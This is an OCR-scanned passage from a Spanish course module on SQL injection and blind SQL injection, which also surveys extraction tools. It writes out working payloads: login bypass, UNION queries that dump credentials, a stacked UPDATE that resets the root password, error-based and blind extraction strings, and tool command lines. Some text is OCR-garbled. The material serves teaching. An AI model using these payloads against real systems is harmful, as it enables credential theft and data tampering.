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1. SQL Injection

Mediante la inyeccién SQL un atacante podria realizar entre otras cosas las
siguientes acciones contra el sistema:

e Descubrimiento de informacién (information disclosure): Las técnicas de in-
yeccion SQL pueden permitir a un atacante modificar consultas para ac-
ceder a registros y/o objetos de la base de datos a los que inicialmente no

tenia acceso.

e FElevacion de privilegios: Todos los sistemas de autenticacion que utilicen
credenciales almacenados en motores de bases de datos hacen que una
vulnerabilidad de inyeccion SQL pueda permitir a un atacante acceder a los
identificadores de usuarios mas privilegiados y cambiarse las credenciales.

¢ Denegacion de servicio: La modificacién de comandos SQL puede llevar a
la ejecucion de acciones destructivas como el borrado de datos, objetos o
la parada de servicios con comandos de parada y arranque de los sistemas.
Asimismo, se pueden inyectar comandos que generen un alto computo en
el motor de base de datos que haga que el servicio no responda en tiempos

utiles a los usuarios legales.

e Suplantacion de usuarios: Al poder acceder al sistema de credenciales, es
posible que un atacante obtenga las credenciales de otro usuario y realice
acciones con la identidad robada o “spoofeada” a otro usuario.

1.1. Entorno de explotacion del ataque

Los condicionantes necesarios para que se pueda dar en una aplicacién web la
vulnerabilidad de inyeccién de comandos SQL son los siguientes:

e Fallo en la comprobacion de parametros de entrada: Se considera pa-
rametro de entrada cualquier valor que provenga desde cliente. En este
entorno se debe asumir “un ataque inteligente”, por lo que cualquiera de
estos parametros pueden ser enviados con “malicia”. Se debe asumir tam-
bién que cualquier medida de proteccion implantada en el cliente puede
fallar. Como ejemplos de parametros a considerar donde se suelen dar es-
tos fallos, tendriamos:

- Campos de formularios: Utilizados en métodos de llamadas POST
- Campos de llamada GET pasados por variables.
- Pardmetros de llamadas a funciones Javascript.

— Valores en cabeceras http.
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— Datos almacenados en cookies.

Utilizacion de parametros en la construccion de llamadas a bases de
datos: El problema no reside en la utilizacién de los pardmetros en las
sentencias SQL, sino en la utilizaciéon de parametros que no han sido com-
probados correctamente.

Construccion no fiable de sentencias: Existen diversas formas de crear
una sentencia SQL dindmica dentro de una aplicacién web, que dependen
del lenguaje utilizado. A la hora de crear una sentencia SQL dindmica den-
tro de una aplicacién web, existen, dependiendo del lenguaje utilizado,
diversas maneras. El problema se genera con la utilizacion de una estruc-
tura de construcciéon de sentencias SQL basada en la concatenacién de ca-
denas de caracteres, es decir, el programador toma la sentencia como una
cadena alfanumérica a la que va concatenando el valor de los parametros
recogidos, lo que implica que tanto los comandos como los parametros
tengan el mismo nivel dentro de la cadena. Cuando se acaba de construir
el comando no se puede diferenciar qué parte ha sido introducida por el
programador y qué parte procede de los pardmetros.

Veamos algunos ejemplos:

1) Ejemplo de entorno de extracion de informacion de la base de datos

mediante consultas SQL:

Tabla_Usuarios

IDUsuario Usuario Clave Nombre NivelAcceso
Root RE$%- & Administrador Administrador
Ramon ASFer3454 Ramon Martinez | Usuario
Carlos Sdfgre32! Carlos Lucas Usuario

Ejemplo de tabla de usuarios

Sobre esta base de datos se crea una aplicacion web que mediante un formu-
lario pide a los usuarios las credenciales de acceso:

Figura 1: Formulario de acceso a usuarios de ejemplo

USUARIO

ENTRAR

CLAVE ook ok ok
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En este entorno suponemos que se recogen los datos y se construye dentro de
nuestra aplicacion web una consulta SQL, que serd lanzada a la base de datos
del siguiente estilo:

SglQuery="Select IDUsuriario from Tabla Usuarios where Usuario='" || Usuario$

||"™" AND Clave='" || Clave$ || "';"

Donde Usuario$ y Clave$ son los valores recogidos en los campos del for-

mulario.

El ataque de Inyeccién SQL en este entorno consistiria en formar una consulta
SQL que permitiera un acceso sin credenciales.

a) Ataque 1: Acceso con el primer usuario

Usuario$=Cualquiera

Clave$= ' or '1'='1l

La consulta SQL que se formaria seria la siguiente:

"Select IDUsuario from Tabla Usuarios where Usuario='Cualquiera' and Clave='' or

1=t

Esta consulta permitiria el acceso al sistema con el primer usuario que esté
dado de alta en la Tabla_Usuarios.

b) Ataque 2: Acceso con un usuario seleccionado

Usuario$=Cualquiera

Clave$= ' or Usuario='Matias

La consulta SQL que se formaria seria la siguiente:

"Select IDUsuario from Tabla Usuarios where Usuario='Cualquiera' and Clave='' or

Usuario='Matias';"

Con lo que solo la fila del usuario Matias cumpliria dicho entorno.

2) Ejemplo de entorno de extraccion de informacién de la base de datos
mediante la modificacion de una consulta SQL:

Tabla_Examenes

ID Fecha Asignatura Convocatoria Aula
0 21/02/2007 Arquitecturas Febrero 1
Avanzadas

Ejemplo de tabla de examenes
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Tabla_Examenes

ID Fecha Asignatura Convocatoria Aula
1 22/02/2007 Seguridad Infor- | Febrero 2
matica
2 17/06/2007 Compiladores Junio 2
3 01/09/2007 Arquitecturas Septiembre 1
Avanzadas

Ejemplo de tabla de examenes

Sobre esta tabla, la aplicacién muestra los exdmenes mediante un parametro
que selecciona la convocatoria y se accede a la informacion en la base de datos
con una consulta SQL construida de la siguiente forma:

SqlQuery= "Select Fecha, Asignatura, Aula from Tabla Examenes where Convocatoria'"

|| Convoatoria$ || "';"

Figura 2 Resultados sin inyeccién SQL de ejemplo

http://www.miservidor.com/muestra_examenes.cod?convocatoria=Febrero

Fecha Asignatura Aula
21/02/2007 Arquitecturas Avanzadas 1

22/02/2007 Seguridad Informatica 3

El ataque de Inyeccién SQL en este entorno consistiria en formar una consulta

SQL que permitiera extraer o modificar informacién en la base de datos.

a) Ataque 1: Acceso a informacion privilegiada

El atacante modificaria el valor del pardmetro convocatoria realizando una
consulta para acceder a los usuarios y contrasefias del sistema

http://www.miservidor.com/muestra examenes.cod?convocatoria=Febrero’

union select Usuario, Clave, 99 from Tabla Usuarios where '1'='l

Con lo que se formaria una consulta SQL de la siguiente forma:

Select Fecha, Asignatura, Aula from Tabla Examenes where Convocatoria='

unién select Usuario, Clave, 99 from Tabla Usuarios where 'l'='1l"';

Febrero'
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Y se obtendrian los siguientes resultados:

Figura 3. Resultados con inyeccién SQL de ejemplo

Fecha Asignatura Aula
21/02/2007 Arquitecturas Avanzadas 1
22/02/2007 Seguridad Informatica 3
Root RE$%e& 99
Ramon ASFer3454 99

Carlos Sdfgre32! 99

b) Ataque 2: Modificacién de la informacién de la base de datos

Este ataque se puede realizar:

Si la cuenta de la base de datos utilizada en la conexién desde la aplicacion
tiene privilegios para realizar operaciones de manipulacién de datos o de crea-
cién de objeto.

Si el motor de la base de datos soporta ejecucion multiple de sentencias SQL.

El atacante modificaria el valor del pardmetro convocatoria realizando una

consulta para cambiar la clave del usuario root:

http://www.miservidor.com/muestra examenes.cod?convocatoria=Febrero'; Update

clave:='nueva' from tabla Usarios where usuario='root

Con lo que se formaria una consulta SQL de la siguiente manera:

Select Fecha, Asignatura, Aula from Tabla Examenes where Convocatoria=

'Febrero'; Update clave:='nueva' from tabla Usarios where usuario='root';

Y se le estableceria una nueva contrasefia al usuario root. Esto puede llegar a
afectar a la prestacion del servicio o a los datos que se manejan, pues se puede
insertar informacion falsa o parar el motor de la base de datos.

3) Ejemplo de entorno de extracciéon de informacién mediante mensajes

de error:

En este entorno suponemos que nos encontramos con una aplicacién que
maneja informacion extraida de una tabla en la base de datos, pero que nunca
son mostrados, con lo cual el atacante no podra ver impresos los datos que
seleccione con la manipulacién de la consulta SQL.
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Tabla_Ilmagenes

ID Nombre Archivo
1 Logotipo 1 Logo1.jpg
2 Logotipo 1 grande Logo1g.jpg
3 Logo apaisado Logo2.jpg

Ejemplo de tabla de imagenes

Sobre esta tabla la aplicacién muestra dentro de la pagina el archivo seleccio-

nado mediante un parametro que selecciona el id del archivo con una consul-

ta SQL construida de la siguiente manera:

SglQuery="Select * from Tabla Imagenes where id='" || id$ || "';

Figura 4. Resultado sin Inyeccién SQL con imagenes de ejemplo

’ http://www.miservidor.com/muestra_imagen.cod?id=1

Informatica 64

Microsoft \yww.informatica64.com

a) Ataque: Genera un mensaje de error que le permitira ver datos de la

base de datos.

Para ello, se buscaria formar alguno de los siguientes errores:

e FErrores matematicos: Permiten extraer informacién mediante el desbor-

damiento de los limites de los formatos numeéricos. Para ello se convierte

el dato buscado a un valor matematico y se opera para conseguir el des-

bordamiento. En el mensaje de error se obtendra el resultado del desbor-

damiento que nos permitirad conocer el dato buscado.

e Errores de formato: Consiste en la utilizacién implicita de un valor de un

tipo de dato con otro distinto. Esto generard un error al intentar el motor

de base de datos realizar una conversion y no poder realizarla.

e FErrores de construccion de la sentencia SQL: Permiten encontrar los

nombres de los objetos en la base de datos. Sirven para averiguar nombres

de tablas y/o campos de las mismas.
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En este ataque en concreto vamos a forzar un error de formato mediante la
modificacion del pardmetro id de la siguiente forma:

http://www.miservidor.com/muestra imagen.cod?id=1 union select Usuario from

Tabla Usuarios where IDUsuario=0

El resultado que se obtendra sera:

Figura 5. Mensaje de error de ejemplo

Error de Ja. BBDD.No se ha podido convertir el valor ‘root” a
valor numérico.

Modificando la consulta se puede extraer la clave o cualquier otra informacién
de la base de datos.

1.2. Herramienta Priamos

Alla por el afio 2001, en las conferencias de BlackHat, David Litchfield pre-
sentaba un documento titulado “Web Application Disassembly with ODBC Error
Messages” en el que se contaba como podia sacarse informacién sobre la base
de datos de una aplicaciéon web a partir de los mensajes de error ODBC no
controlados por el programador.

En estos primeros documentos la extraccion de informacion se hacia utilizan-
do la visualizacion de los mensajes de error de los conectores ODBC, atin que-
daba un afio para que salieran a la luz pablica las técnicas ciegas (blind).

Para ello, el objetivo es generar una inyeccién que provoque un error y leer en

el mensaje de error datos con informacién sensible.

Ejemplo:

Programa.asp?id=218 and l=(select top 1 name from sysusers order by 1 desc)

El atributo name de la tabla sysusers en SQL Server es alfanumérico y al rea-
lizar la comparacién con un valor numérico se generara un error. Si el progra-
mador no tiene controlados esos errores nos llegara a la pantalla un mensaje
como el siguiente:

Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the nvarchar value 'sys' to data type int.

/Programa.asp, line 8
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Y se obtiene el primer valor buscado. Después se vuelve a inyectar pero ahora
se cambia la consulta de la siguiente manera, o similar:

Programa.asp?id=218 and l=(select top 1 name from sysusers where name<'sys' order by 1 desc)

Y se obtiene:

Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the nvarchar value 'public' to data type int.

/Programa.asp, line 8
Siguiente iteracion:

Programa.asp?id=218 and l=(select top 1 name from sysusers where name<'public'

order by 1 desc)

... Y se automatiza la extracciéon de toda la informacién de la base de datos.
Para ello hay herramientas que analizan estos mensajes de error y automati-
zan la gestion de forma eficiente. Priamos es una de estas herramientas que
automatiza este procedimiento.

Figura 6. Priamos en funcionamiento

— . - . =T EX)
(L el S e —] W =

File Help
: Address  http://www.XXOOCCOXXX.com/XXXXXXXXXX.asp?id_articulo=218 Start | 4 Search  Max List Count | 20
: Proxy Config IP Address Port
| GetDatabases (] Get Tables (=] Get Columns ([ Get Data Export to Excel |
Parameters | Logs
Query | sting
id_articulo
Database Schema Data
e-Dsy C20942_45067 - name category_type category_id category_class -~
» ategorized 3 99 3
[Uncategorized] 3 98 2
Replication 3 20 2
= REPL-QueueReader 1 19 1 =
REPL-Alett Response 1 18 1
REPL-Subscription Cleanup 1 17 1
REPL-Checkup 1 16 1
i REPL-Snapshot 1 15 1
REPL-Merge 1 14 1
REPL-LogReader 1 13 1
REPL-History Cleanup 1 12 1
REPL-Distribution Cleanup 1 1 1
& REP -Distribygion 1 10 1 &

s || Datas [Received]
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2. Blind SQL Injection

Una de las maneras de realizar estos ataques se basa en ataques a ciegas, es
decir, en conseguir que los comandos se ejecuten sin la posibilidad de ver
ninguno de los resultados. La inhabilitacion de la muestra de los resultados
del ataque se produce por el tratamiento total de los cédigos de error y la
imposibilidad de modificar, a priori, ninguna informacion de la base de datos.
Luego, si no se puede alterar el contenido de la base de datos y no se puede
ver el resultado de ningan dato extraido del almacén, ;se puede decir que el

atacante nunca conseguira acceder a la informacion?

La respuesta correcta a esa pregunta, evidentemente, es no. A pesar de que un
atacante no pueda ver los datos extraidos directamente de la base de datos si
que es mas que probable que al cambiar los datos que se estan enviando como
pardmetros se puedan realizar inferencias sobre ellos en funcién de los cambios
que se obtienen. El objetivo del atacante es detectar esos cambios para poder

deducir cual ha sido la informacién extraida en funcién de los resultados.

Para un atacante, la forma mas facil de automatizar esta técnica es usar un
vector de ataque basado en 16gica binaria, es decir, en Verdadero y Falso. Este es
el vector de ataque en el que nos vamos a centrar en este apartado, las técnicas
de inferencia ciega basada en inyeccién de comandos SQL.

2.1. El parametro vulnerable

El atacante debe encontrar en primer lugar una parte del cédigo de la aplica-
cién que no esté realizando una comprobacién correcta de los pardmetros de
entrada a la aplicacion que se estan utilizando para componer las consultas a
la base de datos. Hasta aqui, el funcionamiento es similar al resto de técnicas
basadas en inyecciéon de comandos SQL. Encontrar estos parametros es a veces
mas complejo ya que, desde un punto de vista hacker de caja negra, nunca
es posible garantizar que un parametro no es vulnerable, pues tanto si lo es
como si no lo es, puede que nunca se aprecie ningan cambio en los resultados

aparentes.

Definimos el concepto de “Inyeccion SQL de cambio de comportamien-
to cero” (ISQLO) como una cadena que se inyecta en una consulta SQL
y no realiza ningan cambio en los resultados y definimos “Inyeccion
SQL de cambio de comportamiento positivo” (ISQL+) como una cadena
que si que provoca cambios.
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Veamos unos ejemplos y supongamos una pagina de una aplicacién web del
tipo:

http://www.miweb.com/noticia.php?id=1

Hacemos la suposicion inicial de que 1 es el valor del parametro id y dicho
pardmetro va a ser utilizado en una consulta a la base de datos de la siguiente

manera:

Select campos From tablas Where condiciones and id=1

Una inyeccion ISQLO seria algo como lo siguiente:

http://www.miweb.com/noticia.php?id=1+1000-1000
http://www.miweb.com/noticia.php?id=1 and 1=1

http://www.miweb.com/noticia.php?id=1 or 1=2

En ninguno de los tres casos anteriores estamos realizando ningin cambio en

los resultados obtenidos en la consulta. Aparentemente no.

Por el contrario, una ISQL+ seria algo como lo siguiente:

http://www.miweb.com/noticia.php?id=1 and 1=2
http://www.miweb.com/noticia.php?id=-1 or 1=1

http://www.miweb.com/noticia.php?id=1+1

En los tres casos anteriores estamos cambiando los resultados que debe obtener
la consulta. Si al procesar la pagina con el valor sin inyectar y con ISQLO nos
devuelve la misma pdgina, se podrd inferir que el parametro estd ejecutando
los comandos, es decir, que se puede inyectar comandos SQL. Ahora bien,
cuando ponemos una ISQL+ nos da siempre una pagina de error que no nos
permite ver ningin dato. Bien, pues ese es el entorno perfecto para realizar la
extraccion de informacién de una base de datos con una aplicacién vulnerable
a Blind SQL Injection.

2.2. Como se atacan este tipo de vulnerabilidades

Al tener una pagina de Verdadero y otra pagina de Falso, se puede crear toda
la l6gica binaria de estas.

En los ejemplos anteriores, supongamos que cuando ponemos como valor 1
en el pardmetro id nos da una noticia con el titular “Ratl convertido en mito
del madridismo”, por poner un ejemplo, y que cuando ponemos 1 and 1=2
nos da una pagina con el mensaje “Error”. A partir de este momento se realizan

inyecciones de comandos y se mira el resultado.



CC-BY-NC-ND ¢ PID_00191663 15

Ataques a BB. DD., SQL Injection

Supongamos que queremos saber si existe una determinada tabla en la base
de datos:

Id= 1 and exists (select * from usuarios)

Si el resultado obtenido es la noticia con el titular de Ratl, entonces podremos
inferir que la tabla si existe, mientras que si obtenemos la pagina de Error
sabremos que o bien no existe o bien el usuario no tiene acceso a ella o bien

no hemos escrito la inyeccién correcta SQL' para el motor de base de datos

que se esta utilizando.

Otro posible motivo de fallo puede ser simplemente que el programador tenga
el parametro entre paréntesis y haya que jugar con las inyecciones. Por ejem-
plo, supongamos que hay un pardmetro detras del valor de id en la consulta
que realiza la aplicacion. En ese caso habria que inyectar algo como:

Id= 1) and (exists (select * from usuarios)

Supongamos que deseamos sacar el nombre del usuario administrador de una
base de datos MySQL:

Id= 1 and 300>ASCII (substring(user(),1,1))

Con esa inyeccién obtendremos si el valor ASCII de la primera letra del nombre
del usuario serd menor que 300 y por tanto, podemos decir que esa es un
ISQLO. Logicamente deberemos obtener el valor cierto recibiendo la noticia
de Raul. Luego irfamos acotando el valor ASCII con una basqueda dicotémica
en funcion de si las inyecciones son ISQLO o ISQL+.

Id= 1 and 100>ASCII (substring(user(),1,1)) -> ISQL+ -> Falso
Id= 1 and 120>ASCII (substring(user(),1,1)) -> ISQLO -> Verdadero
Id= 1 and 110>ASCII (substring(user(),1,1)) -> ISQL+ -> Falso
Id= 1 and 115>ASCII (substring(user(),1,1)) -> ISQLO -> Verdadero
Id= 1 and 114>ASCII (substring(user(),1,1)) -> ISQL+ -> Falso

Luego podriamos decir que el valor del primer caracter ASCII del nombre del
usuario es el 114.

Una ojeada a la tabla ASCII y obtenemos la letra r, probablemente de root, pe-
ro para eso deberiamos sacar el segundo valor, asi que inyectamos el siguiente
valor:

Id= 1 and 300>ASCII (substring(user(),2,1)) -> ISQLO -> Verdadero

Y vuelta a realizar la busqueda dicotémica. ;Hasta qué longitud? Pues averi-

gliémoslo inyectando:

(UHemosdereaNdarqueSQLa

pesar de ser un estandar no tiene
las mismas implementaciones en
los mismos motores de bases de

datos.
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Id= 1 and 10>length(user()) ¢ISQLO o ISQL+?

Todas estas inyecciones, como se ha dicho en un parrafo anterior, deben ajus-
tarse a la consulta de la aplicacion, tal vez sean necesarios paréntesis, comillas
si los valores son alfanumeéricos, secuencias de escape si hay filtrado de comi-
llas, o caracteres terminales de inicio de comentarios para invalidar partes fi-
nales de la consulta que lanza el programador.

2.3. Métodos de automatizacion

A partir de esta teoria, en las conferencias de BlackHat USA del 2004, Came-
ron Hotchkies present6 un trabajo sobre “Blind SQL Injection Automation Tech-
niques” en el que proponia métodos de automatizar la explotacién de un pa-
rametro vulnerable a técnicas de Blind SQL Injection mediante herramientas.
Para ello no parte de asumir que todos los errores puedan ser procesados y
siempre se obtenga un mensaje de error, ya que la aplicacion puede que tenga
un mal funcionamiento y simplemente haya cambios en los resultados. En su
propuesta, ofrece un estudio sobre realizar inyecciones de cédigo SQL y estu-
diar las respuestas ante ISQLO e ISQL+.

Figura 7: Presentacion en Blackhat USA 2004

Blind SQL Injection
Automation Techniques

BR=E0
Black Hat Briefings USA
2004

Cameron Hotchkies
cameron@0x90.org

e = -

Propone utilizar diferentes analizadores de resultados positivos y falsos en la
inyeccion de cédigo para poder automatizar una herramienta. El objetivo es
introducir ISQLO e ISQL+ y comprobar si los resultados obtenidos se pueden
diferenciar de forma automatica o no y como hacerlo.

e Buasqueda de palabras clave: Este tipo de automatizacion seria posible siem-
pre que los resultados positivos y negativos fueran siempre los mismos. Es
decir, siempre el mismo resultado positivo y siempre el mismo resultado
negativo. Bastaria entonces con seleccionar una palabra clave que apare-
ciera en el conjunto de resultados positivos y/o en el conjunto de resul-
tados negativos. Se lanzaria la peticién con la inyeccién de codigo y se
examinarian los resultados hasta obtener la palabra clave. Es de los mas

rapidos en implementar, pero exige cierta interaccion del usuario, que de-
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be seleccionar correctamente cual es la palabra clave en los resultados po-

sitivos o negativos.

e Basados en firmas MDS3: Este tipo de automatizacion seria valido para apli-
caciones en las que existiera una respuesta positiva consistente, es decir,
que siempre se obtuviera la misma respuesta ante el mismo valor correcto
(con inyecciones de c6digo de cambio de comportamiento cero) y en el
caso de respuesta negativa (ante inyecciones de cambio de comportamien-
to positivo), se obtuviera cualquier resultado distinto del anterior, como
por ejemplo, otra pagina de resultados, una pagina de error genérico, la
misma pagina de resultados pero con errores de procesamiento, etc. La
automatizacion de herramientas basadas en esta técnica es sencilla:

— Se realiza el hash MDS de la pagina de resultados positivos con inyec-
cion de codigo de cambio de comportamiento cero. Por ejemplo: “and
1=1".

— Se vuelve a repetir el proceso con una nueva inyeccion de codigo de
cambio de comportamiento cero. Por ejemplo: “and 2=2".

— Se comparan los hashes obtenidos en los pasos a y b para comprobar
que la respuesta positiva es consistente.

- Serealiza el hash MDS5 de la pagina de resultados negativos con inyec-
cién de coédigo de cambio de comportamiento positivo. Por ejemplo,
“and 1=2".

— Se comprueba que los resultados de los hashes MDS5 de los resultados
positivos y negativos son distintos.

- Sise cumple, entonces se puede automatizar la extraccion de informa-
cién por medio de hashes MDS.

Excepciones

Esta técnica de automatizacién no seria véalida para aplicaciones que cambian constante-
mente la estructura de resultados, por ejemplo, aquellas que tengan publicidad dindmica,
ni para aquellas en las que ante un error en el procesamiento devuelvan el control a la
pagina actual. No obstante, sigue siendo la opcién mas rédpida en la automatizacién de
herramientas de Blind SQL Injection.

e Motor de diferencia textual: En este caso se utilizaria como elemento de
decision entre un valor positivo o falso la diferencia en palabras textuales.
La idea es obtener el conjunto de palabras de la pagina de resultados po-
sitivos y la pagina de resultados negativos. Después se hace una inyeccién
de cédigo con un valor concreto y se obtiene un resultado de palabras.
Haciendo un calculo de distancias se veria de cual difiere menos para saber
si el resultado es positivo o negativo. Esto es util cuando el conjunto de
valores inyectados siempre tengan un resultado visible en el conjunto de
resultados tanto en el valor positivo como en el valor negativo.

e Basados en arboles HTML: Otra posibilidad a la hora de analizar si el re-
sultado obtenido es positivo o negativo seria utilizar el arbol HTML de la
péagina. Esto funcionaria en entornos en los que la pagina de resultados
correctos y la pagina de resultados falsos fuera siempre distinta, es decir, la

péagina correcta tiene partes dindmicas cambiantes ante el mismo valor y
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la pagina de errores también. En esos casos se puede analizar la estructura
del arbol de etiquetas HTML de las paginas y compararlos.

e Representacion lineal de sumas ASCII: La idea de esta técnica es obtener
un valor hash del conjunto de resultados sobre la base de los valores ASCII
de los caracteres que conforman la respuesta. Se saca el valor del resultado
positivo y el resultado negativo. Este sistema funciona asociado a una serie
de filtros de tolerancia y adaptacién para poder automatizarse.

También present6 una herramienta que implementaba el método 4, basado en
arboles HTML, y que se llamaba SQueal. Dicha herramienta evolucion6 hacia
la que hoy se conoce como Absinthe.

2.4. Herramientas

2.4.1. Absinthe

Utiliza el mismo sistema que se explicé en el documento “Blind SQL Injection
Atomation Techniques” basado en sumas de valores. La herramienta es software
libre y estd programada en C# .NET, pero con soporte para MAC y para Linux
con MONO. Es una de las més completas, con una interfaz muy cuidada y
con soporte para la mayoria de las situaciones: intranets con autenticacion,
conexiones SSL, uso de cookies, parametros en formularios, necesidad de com-
pletar URL, etc.

Hay que destacar que esta herramienta estd pensada para auditores, y no de-
tecta parametros vulnerables, asi que debe ser configurada de forma correcta.
No es un wizard que se lanza contra una URL y ya devuelve toda la estructura.

La herramienta funciona con plugins para diversas bases de datos y a dia de
hoy tiene soporte para Microsoft SQL Server, MSDE (desktop edition), Oracle
y Postgres. Los autores de la misma son Nummish y Xeron y tanto su codi-
go fuente como la herramienta estan disponibles en la siguiente URL: http://
www.0x90.0rg/
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Figura 8. Configurando el servidor vulnerable.

2 (=)
File Help
m! DB Sch |Do\m|oad R d
rExploit Type:
Select the type of injection: (® 8lind Injection
Select The Target Database: [MS SQL Server LI

rConnection:

Target URL: h!tp://l

Connaction Mathod: ® post C Get [~ Usze s5L xAdjust Proxy Configuration |

[~ Comment out reamainder of quary [~ Append textto end of query

Form Paramatars:
Name: Parameters IH‘ITP chdaul Edit I

Default Value:
Delete I

Hame Ioohuh Ilnje«ablo l =

[T Injectable Parameter

r TreatValue az String

%’ Add Paramaeter % Additional Hndorsl

[«] ||

& Initialize Injaction

borren 1 £

En la herramienta hay que configurar el tipo de base de datos, la URL, el pa-
rametro vulnerable, el tipo de método utilizado, etc. Una vez configurado co-
rrectamente, la herramienta procede a bajarse el esquema de la base de datos
utilizando la automatizaciéon descrita. Como se puede ver, la herramienta saca
los tipos de datos. Para ello realiza consultas a las tablas del esquema sysobjects,
syscolumns, etc. Por ultimo extrae los datos de las tablas.

Como se puede suponer este no es un proceso especialmente rapido, pero al

final se obtiene toda la informacién.
2.4.2. SQLInjector

La primera herramienta que hay que conocer es esta. A raiz de los estudios
de David Litchfield y Chrish Anley, ambos de la empresa NGS Software, desa-
rrollaron la herramienta SQLInjector. Esta herramienta utiliza como forma de
automatizacion la basqueda de palabras clave en los resultados positivos. Es
decir, se busca encontrar una palabra que aparezca en los resultados positivos

y que no aparezca en los resultados negativos.

Recordad que el objetivo de las técnicas de Blind SQL Injection es conseguir
inyectar l6gica binaria con consultas del tipo “y existe esta tabla” o “y el valor
ASCII de la cuarta letra del nombre del administrador es menor que 100”.
Siempre se busca realizar consultas que devuelvan verdad o mentira, con lo
que la aplicacion al procesarlo devolveria la pagina original (que llamamos de
verdad o cierta) o la pagina cambiada (que llamamos de mentira o falsa).

Para probar si el pardmetro es susceptible a Blind SQL Injection, utiliza un
sistema basado en inyecciones de c6digo de cambio de comportamiento cero

sumando y restando el mismo valor. Es decir, si tenemos un parametro vulne-
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rable que recibe el valor 100, el programa ejecuta la peticiéon con 100 + valor —
valor. Si el resultado es el mismo, entonces el pardmetro es susceptible a ata-
ques de SQL Injection.

Como utiliza bisqueda de palabra clave en resultados positivos, hay que ofre-
cerle la palabra clave manualmente, es decir, hay que lanzar la consulta nor-
mal y ver qué palabras devuelve el c6digo HTML. Después tenemos que lanzar
una consulta con algo que haga que sea falso, por ejemplo, con AND 1=0y ver
qué palabras aparecen en los resultados de verdad y no aparecen en los falsos
(con seleccionar una palabra valdria). El c6digo fuente de esta aplicacion esta
escrito en Lenguaje C, es publico y se puede descargar de la web.

Para ejecutarse se hace con un comando como el siguiente:

C:\>sglinjector -t www.ejemplo.com -p 80 -f request.txt -a query -o where -gf

query.txt -gc 200 -ec 200 -k 152 -gt Science -s mssqgl

Donde:

t: Es el servidor
e p:Esel puerto
£: La aplicacién vulnerable y el pardmetro. En un fichero de texto.
e a:Llaaccién a realizar
e o: Fichero de salida
e gf:La consulta a ejecutar a ciegas. En un fichero de texto.
e gc: Codigo devuelto por el servidor cuando es un valor correcto
e ec: Codigo devuelto por el servidor cuando se produce un error
e k: Valor de referencia correcto en el pardmetro vulnerable
e gt: Palabra clave en resultado positivo
e s:Tipo de base de datos. La herramienta esta preparada para MySQL, Ora-
cle, Microsoft SQL Server, Informix, IBM DB2, Sybase y Access.

Ejemplo de fichero request.txt

GET /news.asp?ID=#!# HTTP/1.1

Host: www.ejemplo.com
Ejemplo de query.txt:
select @@version
La aplicacién anterior hay que nombrarla obligatoriamente cuando se habla

de técnicas de Blind SQL Injection, pero hoy en dia existen otras muchas al-

ternativas. Una especialmente pensada para motores de MySQL es SQLbftools.


http://www.databasesecurity.com/sql-injector.htm
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2.4.3. SQLbftools

Publicadas por “illo” en reversing.org en diciembre del 2005. Son un conjun-
to de herramientas escritas en lenguaje C destinadas a los ataques a ciegas en
motores de bases de datos MySQL, basadas en el sistema utilizado en SQLIn-
jector de NGS Software. El autor ha abandonado la herramienta y a dia de hoy
es mantenida por la web http://www.unsec.net por “dab”.

Estd compuesta de tres aplicaciones:

1) mysglbf: Es la herramienta principal para la automatizacién de la técnica
de BlindSQL. Para poder ejecutarla se debe contar con un servidor vulnerable
en el que el pardmetro esté al final de la URL y la expresion no sea compleja.

Soporta codigos MySQL:

e version()
® user()
® now()

® sytem user()

Su funcionamiento se realiza mediante el siguiente comando:

Mysglbf "host" "comando" "palabraclave"

Donde:

host es la URL con el servidor, el programa y el parametro vulnerable.
Comando es un comando a ejecutar de MySQL.

Palabraclave es el valor que solo se encuentra en la pagina de resultado posi-

tivo.

En la siguiente imagen vemos cémo lanzamos la aplicacion contra una base

de datos vulnerable y podemos extraer el usuario de la conexion.

Figura 9: Extraccién user ()



http://www.unsec.net
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Como se puede ver, el programa ha necesitado 230 peticiones para sacar 18
bytes. En la siguiente imagen se ve cOmo extraer la version de la base de datos:

Figura 10. Extraccion version()

H:\ Dmysalbf "http://wew

2) mysglget: Es la herramienta pensada para descargar ficheros del servidor.
Aprovechando las funciones a ciegas y los comandos del motor de base de
datos, se puede ir leyendo letra a letra cualquier fichero del servidor.

En la siguiente imagen se ve como se puede descargar el fichero /etc/passwd

a partir de una vulnerabilidad Blind SQL Injection usando mysqglget:

Figura 11: fichero /etc/passwd
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3) mysqglst: Esta herramienta se utiliza para volcar los datos de una tabla.
Primero se consulta el diccionario de datos para extraer el nimero de campos,
los nombres, los tipos de datos de cada campo y por altimo, el volcado de
las filas.

2.4.4. Bfsql

Es la evoluciéon de SQLBfTools, cuando “illo” 1a abandoné. Ramos, actualmen-
te trabajando en la empresa Espafiola SIA, la migr6 al lenguaje Perl en poco
mas de 500 lineas. La herramienta sigue utilizando el sistema de palabra clave
en valores positivos. La herramienta no pide la intervencién del usuario pa-
ra averiguar cudl es la palabra clave, sino que realiza peticiones con inyeccio-
nes de cambio de comportamiento cero e inyecciones de cambio de compor-

tamiento positivo. Recibe las respuestas, un archivo de respuesta para el valor
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correcto y otro archivo para el valor incorrecto, y las compara linea a linea
buscando la primera diferencia. A partir de ese momento realiza peticiones y
mira a ver a qué valor corresponde.

La herramienta es de codigo abierto y la altima version, de julio del 2006, esta
disponible para todo el mundo.

2.4.5. SQL Powerlnjector

Esta herramienta esté escrita en .NET por Francois Larouche y ha sido liberada
en el afilo 2006. SQL Powerlnjector utiliza técnicas de SQL Injection tradicio-
nales basadas en mensajes de error y técnicas de Blind SQL Injection usando
dos sistemas. Comparacion de resultados completos, equivalente a realizar un
HASH MDS de la pagina de resultados o bien, para los motores de Microsoft
SQL Server, y solo para esos motores, también se puede realizar utilizando el
sistema basado en tiempos con WAIT FOR (o time delay) descrito por Chrish
Anley en “(more) Advanced SQL Injection”. Para los motores de Oracle utili-
za también, desde mayo del 2007, una inyeccién basada en tiempos llaman-
do a los procedimientos almacenados de Oracle DBMS_LOCK y utilizando las
funciones de benchmark para generar retardos en MySQL. La herramienta no
ayuda a buscar parametros vulnerables y se maneja mediante una trabajada
interfaz grafica.

Figura 12. Extraccion SQL Powerlnjector
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La herramienta estd adaptada a MS SQL Server, Oracle, MySQL y Sybase, es
de codigo abierto y estd disponible para descarga en la siguiente URL: http://

www.sqlpowerinjector.com

2.4.6. SQLiBF

Herramienta publicada en el afio 2006, desarrollada por DarkRaven, un con-
sultor de seguridad afincado en Murcia. Esta pensada y adaptada para bases
de datos genéricas, pero también para bases de datos especificas, en las que
